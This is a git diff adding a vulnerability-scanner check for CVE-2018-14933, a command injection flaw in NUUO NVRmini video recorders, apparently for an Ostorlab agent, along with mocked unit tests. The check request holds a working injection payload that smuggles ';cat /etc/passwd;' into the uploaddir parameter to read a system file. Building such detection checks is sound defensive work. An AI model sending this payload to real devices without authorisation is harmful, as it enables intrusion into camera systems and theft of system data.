diff --git a/agent/exploits/cve_2018_14933.py b/agent/exploits/cve_2018_14933.py
new file mode 100644
index 0000000..9fbb507
--- /dev/null
+++ b/agent/exploits/cve_2018_14933.py
@@ -0,0 +1,39 @@
+"""Agent implementation for CVE-2018-14933"""
+
+import re
+
+from agent import definitions
+from agent import exploits_registry
+from agent.exploits import webexploit
+
+VULNERABILITY_TITLE = "Remote Command Execution in NUUO NVRmini devices"
+VULNERABILITY_REFERENCE = "CVE-2018-14933"
+VULNERABILITY_DESCRIPTION = (
+ "The `upgrade_handle.php` endpoint on NUUO NVRmini devices is vulnerable to remote command execution. "
+ "This flaw exists due to improper sanitization of shell metacharacters in the `uploaddir` parameter when "
+ "handling a `writeuploaddir` command."
+)
+RISK_RATING = "CRITICAL"
+
+
+@exploits_registry.register
+class CVE201814933Exploit(webexploit.WebExploit):
+ accept_request = definitions.Request(
+ method="GET",
+ path="/",
+ )
+
+ accept_pattern = [re.compile(r"
NUUO Network Video Recorder")]
+ check_request = definitions.Request(
+ method="GET",
+ path="/upgrade_handle.php?cmd=writeuploaddir&uploaddir=%27;cat%20/etc/passwd;%27",
+ )
+
+ match_pattern = [re.compile(r"root:.*:0:0:")]
+
+ metadata = definitions.VulnerabilityMetadata(
+ title=VULNERABILITY_TITLE,
+ description=VULNERABILITY_DESCRIPTION,
+ reference=VULNERABILITY_REFERENCE,
+ risk_rating=RISK_RATING,
+ )
diff --git a/tests/exploits/cve_2018_14933_test.py b/tests/exploits/cve_2018_14933_test.py
new file mode 100644
index 0000000..82eaa92
--- /dev/null
+++ b/tests/exploits/cve_2018_14933_test.py
@@ -0,0 +1,87 @@
+"""Unit tests for Agent implementation: CVE-2018-14933"""
+
+import requests_mock as req_mock
+from ostorlab.agent.mixins import agent_report_vulnerability_mixin as vuln_mixin
+
+from agent import definitions
+from agent.exploits import cve_2018_14933
+
+
+def testCVE201814933_whenVulnerable_reportFinding(
+ requests_mock: req_mock.mocker.Mocker,
+) -> None:
+ """CVE-2018-14933 unit test: case when target is vulnerable."""
+ requests_mock.get(
+ "http://localhost:80/",
+ text="NUUO Network Video Recorder",
+ status_code=200,
+ )
+ requests_mock.get(
+ "http://localhost:80/upgrade_handle.php",
+ text="root:x:0:0:root:/root:/bin/bash",
+ status_code=200,
+ )
+ exploit_instance = cve_2018_14933.CVE201814933Exploit()
+ target = definitions.Target("http", "localhost", 80)
+
+ accept = exploit_instance.accept(target)
+ vulnerabilities = exploit_instance.check(target)
+
+ assert accept is True
+ assert len(vulnerabilities) > 0
+ vulnerability = vulnerabilities[0]
+ assert (
+ vulnerability.entry.title == "Remote Command Execution in NUUO NVRmini devices"
+ )
+ assert vulnerability.technical_detail == (
+ "http://localhost:80 is vulnerable to CVE-2018-14933, Remote Command Execution in NUUO NVRmini devices"
+ )
+ assert vulnerability.risk_rating == vuln_mixin.RiskRating.CRITICAL
+
+
+def testCVE201814933_whenSafe_reportNothing(
+ requests_mock: req_mock.mocker.Mocker,
+) -> None:
+ """CVE-2018-14933 unit test: case when target is safe."""
+ requests_mock.get(
+ "http://localhost:80/",
+ text="NUUO Network Video Recorder",
+ status_code=200,
+ )
+ requests_mock.get(
+ "http://localhost:80/upgrade_handle.php",
+ text="Access Denied",
+ status_code=403,
+ )
+ exploit_instance = cve_2018_14933.CVE201814933Exploit()
+ target = definitions.Target("http", "localhost", 80)
+
+ accept = exploit_instance.accept(target)
+ vulnerabilities = exploit_instance.check(target)
+
+ assert accept is True
+ assert len(vulnerabilities) == 0
+
+
+def testCVE201814933_whenTargetNotRelevant_reportNothing(
+ requests_mock: req_mock.mocker.Mocker,
+) -> None:
+ """CVE-2018-14933 unit test: case when target is not a NUUO product."""
+ requests_mock.get(
+ "http://localhost:80/",
+ text="Not Found",
+ status_code=404,
+ )
+ requests_mock.get(
+ "http://localhost:80/upgrade_handle.php",
+ text="Access Denied",
+ status_code=403,
+ )
+ exploit_instance = cve_2018_14933.CVE201814933Exploit()
+ target = definitions.Target("http", "localhost", 80)
+
+ accept = exploit_instance.accept(target)
+ vulnerabilities = exploit_instance.check(target)
+
+ assert accept is False
+ assert len(vulnerabilities) == 0